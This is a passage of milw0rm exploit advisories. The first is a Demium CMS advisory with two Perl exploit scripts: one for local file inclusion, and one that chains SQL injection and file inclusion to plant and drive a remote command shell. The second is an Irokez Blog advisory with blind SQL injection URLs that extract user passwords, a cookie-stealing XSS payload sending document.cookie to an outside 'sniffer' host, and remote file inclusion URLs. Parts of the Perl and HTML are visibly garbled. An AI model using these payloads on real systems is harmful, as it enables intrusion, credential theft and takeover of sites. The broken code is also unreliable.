In case of remote user's user and password cookies, the script will include GET data, simple Perl sploit at the end of the advisory.

[/0x04]



#########
Exploits section now.
####


[$$ - Local File Inclusion Exploit]

#!/usr/bin/perl

# LFI Sploit
# by Osirys

use IO::Socket;

my $host = $ARGV[0];

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

&exploit;

sub exploit () {
print "\n[*] Include: ";
chomp($l_file = );

print "\n";
$l_file !~ /exit/ || die "Exiting ..";
if ($l_file !~ /^/) {
$l_file = $l_file."";
}

my $url = $path."/content.php?include=".$l_file;

my $data = "GET ".$url." HTTP/1.1\r\n".
"Host: ".$h0st."\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Cookie: login_user=p0wnin; login_pw=p0wnin\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n";

my $socket = new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto => 'tcp',
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";

$socket->send($data);

my $count = 0;
while (my $e = <$socket>) {
$count++;
if ($count > 9) {
chomp($e);
print "$e\n";
}
}

&exploit;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.+)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.+)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub banner {
print "\n".
" --------------------------- \n".
" Demium CMS LFI sploit \n".
" by Osirys \n".
" --------------------------- \n\n";
}

sub help () {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Bad hostname! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}

[/$$]







[$$$ - Remote Command Execution Exploit via SQL Injection and Local File Inclusion (Works with mq Off)]

#!/usr/bin/perl

# RCE Exploit
# Step 1 => Creating a remote Shell in /tmp via SQL Injection
# Step 2 => Including via LFI remote Shell, executing your CMDs

# by Giovanni Buzzin, Osirys

# ----------------------------------------------------------------------------
# Exploit in action [>!]
# ----------------------------------------------------------------------------
# osirys[~]>$ perl sp1.txt http://localhost/demium_beta_v.0.2.1/

# ---------------------------
# Demium CMS RCE sploit
# (SQL-LFI)
# by Osirys
# ---------------------------

# [*] Getting admin login details ..
# [$] User: admin
# [$] Pass: 5f4dcc3b5aa765d61d8327deb882cf99

# [*] Creating remote Shell via SQL Injection ..
# [*] Spawning remote Shell via LFI ..

# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/demium_beta_v.0.2.1
# shell[localhost]$> exit
# [-] Quitting ..

# osirys[~]>$
# ----------------------------------------------------------------------------

use IO::Socket;
use LWP::UserAgent;

my $host = $ARGV[0];
my $rand = int(rand 50);

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

print "[*] Getting admin login details ..\n";

my $url = $host."/tracking.php?follow_kat=osirys' union select concat(profile_username,0x3a,profile_password) from cms_profile order by '*";
my $re = get_req($url);
if ($re =~ /replace\('\/(.+):(.+)\/.html/) {
$user = $1;
$pass = $2;
print "[\$] User: $user\n";
print "[\$] Pass: $pass\n";
}
else {
print "[-] Can't extract admin details\n\n";
}

print "\n[*] Creating remote Shell via SQL Injection ..\n";

my $code = "";
my $file = "/tmp/sh_spawn_ownzzzzz".$rand.".txt";
my $attack = $host."/tracking.php?follow_kat=osirys' union select '".$code."' into outfile '".$file;
get_req($attack);

print "[*] Spawning remote Shell via LFI ..\n\n";
&exploit;

sub exploit {
my $file = "../../../../../../../../..".$file;
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
chomp($cmd = );
$cmd !~ /exit/ || die "[-] Quitting ..\n\n";

my $url = $path."/content.php?include=".$file."&cmd=".$cmd;

my $data = "GET ".$url." HTTP/1.1\r\n".
"Host: ".$h0st."\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Cookie: login_user=p0wnin; login_pw=p0wnin\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n";

my $socket = new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto => 'tcp',
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";

$socket->send($data);

my @tmp_out;
my $stop;
while ((my $e = <$socket>)&&($stop != 1)) {
if ($e =~ /ExeCx0/) {
$stop = 1;
}
push(@tmp_out,$e);
}

$stop == 1 || die "[-] Can't include remote Shell\n\n";

my $re = join '', @tmp_out;
my $content = tag($re);
if ($content =~ /0xExec(.+)\*ExeCx0/) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exploit;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < link =" $_[0];" req =" HTTP::Request-">new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return($response->content);
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.+)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.+)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return($full_det);
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub banner {
print "\n".
" --------------------------- \n".
" Demium CMS RCE sploit \n".
" (SQL-LFI) \n".
" by Osirys \n".
" --------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Bad hostname! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}

[/$$$]

# milw0rm

Irokez BLog 0.7.3.2 (XSS/RFI/BSQL) Multiple Remote Vulnerabilities

Application: Irokez Blog
------------
Website: http://irokez.org
--------
Version: All (0.7.3.2)
--------
Date: 11-02-2009
-----

[ BLIND SQL-INJECTION ]

[ SOME VULNERABLE CODE ]

/classes/table.class.php

...
if ($is_trans) {
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);

===>>> Exploit:

http://irokez/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1)) between 100 and '115
http://irokez/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1))='114
etc

[ ACTIVE XSS ]

in comments.

[ SOME VULNERABLE CODE ]

/scripts/blog/output-post.inc.php

input id="name" type="text" class="text" name="name" value="">"
label for="name">


  • input id="email" type="text" class="text" name="email" value="">"
    label for="email">


  • input id="site" type="text" class="text" name="site" value="">"
    label for="site">
    ...
    textarea id="message" name="message" class="textarea">>> Exploit:

    script img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie; script

    [ INCLUDE ]

    [ SOME VULNERABLE CODE ]

    /thumbnail.php
    ...
    ob_start();
    switch ($module) {
    case 'gallery':
    include_once $GLOBALS['PTH']['classes'] . 'gallery.class.php';
    $Obj = new TBL_Gallery;
    $image_path = $GLOBALS['PTH']['gallery'] . getVar($Obj->select($id), 'src');
    break;
    default:
    $image_path = '';
    }

    ===>>> Exploit:

    http://irokez/modules/tml/block.tag.php?GLOBALS[PTH][classes]=[include]
    http://irokez/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=[include]
    http://irokez/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=[include]
    http://irokez/spaw/spaw_control.class.php?GLOBALS[spaw_root]=[include]

    Author: Eugene "Corwin" Ermakov
    -------

    Contact: corwin88[dog]mail[dot]ru
    --------

    # milw0rm
  •